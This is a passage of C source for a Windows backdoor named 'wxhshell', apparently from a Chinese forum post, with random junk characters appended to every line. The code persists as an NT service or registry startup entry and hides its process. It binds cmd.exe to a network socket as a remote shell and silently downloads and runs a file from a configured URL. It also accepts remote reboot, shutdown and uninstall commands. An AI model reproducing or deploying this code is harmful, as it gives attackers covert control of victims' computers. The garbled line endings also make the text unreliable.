      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yY[N\*P  
    break; cd#@"&r  
  } `q".P]wtKN  
  // 安装 #1+1q{=Z<  
  case 'i': { hr(E, TAe  
    if(Install()) {|bf`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NvQN  
    else 7vubkj&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K#kU6/  
    break; QVsOB$  
    } C65( m  
  // 卸载 *6?h,Dt L  
  case 'r': { iO~3rWQ  
    if(Uninstall()) 0ERA(=w5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QGs\af  
    else fKb8)PDP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z`Rrv$M!  
    break; Nyip]VwMJ  
    } uPQ:}zL2  
  // 显示 wxhshell 所在路径 y}Oc^Fc  
  case 'p': { :>c33X}  
    char svExeFile[MAX_PATH]; {}y"JbXMj  
    strcpy(svExeFile,"\n\r"); 6=0"3%jn@  
      strcat(svExeFile,ExeFile); by (xv0v;  
        send(wsh,svExeFile,strlen(svExeFile),0); K1Snag  
    break; Tq,Kel  
    } }w}2'P'T  
  // 重启 S=@.<gS  
  case 'b': { yyW;VKN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9(V12gn+lk  
    if(Boot(REBOOT)) }4b 4<Sm_h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a6cq0g[#z  
    else { aSkH<5i`v  
    closesocket(wsh); e3oHe1"hP  
    ExitThread(0); UJ* D  
    } -<h4I aM  
    break; %F_)!M;x  
    } F<39eDNpz  
  // 关机 -|YG**i/  
  case 'd': { )!z<q}i5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n** W  
    if(Boot(SHUTDOWN)) [T<nTB# w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f~ kz=R=  
    else { F9IrbLS9c  
    closesocket(wsh); 7u73v+9qn:  
    ExitThread(0); |WwC@3)  
    } gqJSz}'  
    break; lA>^k;+>  
    } Y@B0.5U2  
  // 获取shell R~ n[g  
  case 's': { C@1B?OfJ  
    CmdShell(wsh); ]-]K4*{   
    closesocket(wsh); f9ux+XQk9  
    ExitThread(0); lLhvpvT  
    break;  ~ "Xcd8:  
  } v"ZNS  
  // 退出 yK9:LXhf  
  case 'x': { BQTZt'p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |Lf>Z2E  
    CloseIt(wsh); tqbYrF)  
    break; -|V1A[  
    } imw,Nb  
  // 离开 "%]<Co<S  
  case 'q': { HueGARS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;+C2P@M  
    closesocket(wsh); |I \&r[J  
    WSACleanup(); j.or:nF  
    exit(1); 4~<78r5m  
    break; c@f?0|66M  
        } %n?&#_G|  
  }  /5M0[C E  
  } %  ]G'u  
7W[+e&  
  // 提示信息 )<YfLDgTs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6.5E d-  
} s R/z)U_  
  } V9`?s0nn^  
./5LV)_`  
  return; hNU$a?eVpR  
} D]tI's1  
P! cfe@;<4  
// shell模块句柄 WAq! _xE  
int CmdShell(SOCKET sock) [h&)h+xt  
{ ^cRAtoa  
STARTUPINFO si; ,i RUR 8  
ZeroMemory(&si,sizeof(si)); a=_+8RyVQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %Yw?!GvL[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U/ds(*g@  
PROCESS_INFORMATION ProcessInfo;  N$ oQK(  
char cmdline[]="cmd"; _\&v A5-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <8)cr0~zy>  
  return 0; Rp^fY_  
} V_\9t8  
POXd,ON9  
// 自身启动模式 xQUskjv/  
int StartFromService(void) ^k J>4  
{ [/=Z2mt A  
typedef struct Yw(O}U 5e  
{ _p*a`,tK  
  DWORD ExitStatus; B<$(Nb5<  
  DWORD PebBaseAddress; ~cv322N   
  DWORD AffinityMask; L`3;9rO  
  DWORD BasePriority; p C^=?!:U  
  ULONG UniqueProcessId; Phq"A[4=O  
  ULONG InheritedFromUniqueProcessId; DyPHQ}G  
}   PROCESS_BASIC_INFORMATION; GBYeiEgZh  
:MaP58dhh  
PROCNTQSIP NtQueryInformationProcess; y:',)f }  
<>v=jH|L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q!;u4J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )&6ZgRq  
o' EJ,8  
  HANDLE             hProcess; *q&^tn b  
  PROCESS_BASIC_INFORMATION pbi; ;{lb_du2:  
E]O/'-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t 7-6A  
  if(NULL == hInst ) return 0; P+L#p(K  
'vwu^u?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tp<v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -xXdT$Xd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <EKTFHJ!  
U3**x5F_  
  if (!NtQueryInformationProcess) return 0; N&yr?b'!-*  
z[Ah9tM%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8-B6D~i  
  if(!hProcess) return 0; Y(RB@+67  
%63s(ekU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =28ZSo^  
9^+E$V1@  
  CloseHandle(hProcess); K+\2cf?bU  
dL]wu! wE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CzDV^Iv;Q{  
if(hProcess==NULL) return 0; ;&dMtYb  
b+`qGJrej  
HMODULE hMod; yGY:EvH^?  
char procName[255]; V]Rt[l]  
unsigned long cbNeeded; |b4f3n  
Skg}/Ek  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +!Q*ie+q  
S3UJ)@ E  
  CloseHandle(hProcess); u!-v1O^[  
4L bll%[9  
if(strstr(procName,"services")) return 1; // 以服务启动 XL7||9,(h  
:85QwN]\  
  return 0; // 注册表启动 TKp2C5bX  
} '':MhRb  
x7xMSy  
// 主模块 .uinv  
int StartWxhshell(LPSTR lpCmdLine) !]3kFWs  
{ MTip4L W9  
  SOCKET wsl; cT5BBR   
BOOL val=TRUE; p\P)    
  int port=0; ^[&,MQU{7  
  struct sockaddr_in door; Wl7S<>hg4  
Q?V+ 0J  
  if(wscfg.ws_autoins) Install(); */HW]x|?V~  
9m.MGJbQ_f  
port=atoi(lpCmdLine); Wn{MY=5Y  
v|MT^.  
if(port<=0) port=wscfg.ws_port; %'uei4   
/|8rVYSs  
  WSADATA data; IczMf%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xO^lE@a o  
&5[B\yv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Wo(m:q(Om  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Eunmc  
  door.sin_family = AF_INET; lc3N i<3v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a!EW[|[Q  
  door.sin_port = htons(port); ;t M  
U[?f@.&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $>7T s>8  
closesocket(wsl); )5NWUuH 5  
return 1; ik](k"1{  
} erKi*GssZ  
i &%m^p  
  if(listen(wsl,2) == INVALID_SOCKET) { + 9I|F m  
closesocket(wsl); LzxO=+=9!q  
return 1; 8|(],NyEJ  
} ~{ GTL_w  
  Wxhshell(wsl); 4jc?9(y%  
  WSACleanup(); vjzG H*  
D |=L)\  
return 0; $<9u:.9xf  
AhkDLm+  
} yDJy'Z_F{  
_e/Bg~  
// 以NT服务方式启动 (*b<IGi;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I$R1#s  
{ :dQRrmM  
DWORD   status = 0; P4zwTEk`  
  DWORD   specificError = 0xfffffff; ^f57qc3nF  
[mQdc?n\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y/5(BK)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vN:!{)~z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4JyA+OD4{  
  serviceStatus.dwWin32ExitCode     = 0; IT7],pM  
  serviceStatus.dwServiceSpecificExitCode = 0; FUf.3@}  
  serviceStatus.dwCheckPoint       = 0; 9)8Cf% <(  
  serviceStatus.dwWaitHint       = 0; &6vWz6!P  
+$Y*1{hyOo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =~"X/ >'  
  if (hServiceStatusHandle==0) return; B&7NF}CF2  
dVk(R9 8  
status = GetLastError(); QJ(5o7Tfn  
  if (status!=NO_ERROR) f5p/cUzX  
{ A;^ iy]"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cU-A1W  
    serviceStatus.dwCheckPoint       = 0; NMQG[py!f  
    serviceStatus.dwWaitHint       = 0; r \[|'hA  
    serviceStatus.dwWin32ExitCode     = status; I:HrBhI)wP  
    serviceStatus.dwServiceSpecificExitCode = specificError; |Y8}*C\M.h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1szObhN-l  
    return; Z\]{{;%4b7  
  } )&O6d .  
Mna yiJl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c%WO#}r|  
  serviceStatus.dwCheckPoint       = 0; xXc>YTK'  
  serviceStatus.dwWaitHint       = 0; ~ g-(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m"-kkH{I  
} c1r+?q$f  
m)LI| v  
// 处理NT服务事件,比如:启动、停止 jO/cdLKX(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^_i)XdPU  
{ b;{"@b,Y  
switch(fdwControl) Zk/ejhy0  
{ `N&*+!O%  
case SERVICE_CONTROL_STOP: ^{{a v?h  
  serviceStatus.dwWin32ExitCode = 0; q)f_!N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bz <I7h  
  serviceStatus.dwCheckPoint   = 0; )0/*j]Kf  
  serviceStatus.dwWaitHint     = 0; nF_q{e7  
  { AorY#oq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L N Fe7<y  
  } j"'a5;Sy  
  return; a5R. \a<q  
case SERVICE_CONTROL_PAUSE: L ph0C^8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <R+?>kz6  
  break; l S3LX  
case SERVICE_CONTROL_CONTINUE: L"/ ?[B":  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )bR0 >3/  
  break; IC5QH<.$C  
case SERVICE_CONTROL_INTERROGATE: x.Egl4b3  
  break; %)r:!R~R  
}; J <;xkT1x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iCA-X\E  
} lVQE}gd%m  
39hep8+  
// 标准应用程序主函数 ^N[ Cip}8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LT Pr8^  
{ hRRxOr#*$  
H la?\  
// 获取操作系统版本 u z7|!G!43  
OsIsNt=GetOsVer(); Nf<f}`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lui6;NY  
1Ml<>  
  // 从命令行安装 +uSp3gE"  
  if(strpbrk(lpCmdLine,"iI")) Install(); mI!iSVqr  
iLIb-d?!a&  
  // 下载执行文件 vPGUE`!D+  
if(wscfg.ws_downexe) { _@y uaMoW=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j~1K(=Ng  
  WinExec(wscfg.ws_filenam,SW_HIDE); !yPy@eP~  
} OdZ/\_Z  
%qz-b.  
if(!OsIsNt) { <" nWGF4d  
// 如果时win9x,隐藏进程并且设置为注册表启动 b r Iz8]  
HideProc(); Q,JH/X  
StartWxhshell(lpCmdLine); U3z23LgA  
} Y JMs9X~3  
else bL`\l!qQx;  
  if(StartFromService()) Exqz$'(W9  
  // 以服务方式启动 7%EIn9P  
  StartServiceCtrlDispatcher(DispatchTable); ZzNHEV  
else M9A1 8d|  
  // 普通方式启动 .B- b51Uz  
  StartWxhshell(lpCmdLine); Q-V8=.  
R;pW,]}g,  
return 0; 3vcyes-U  
}
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只看该作者 1 发表于: 2006-10-10
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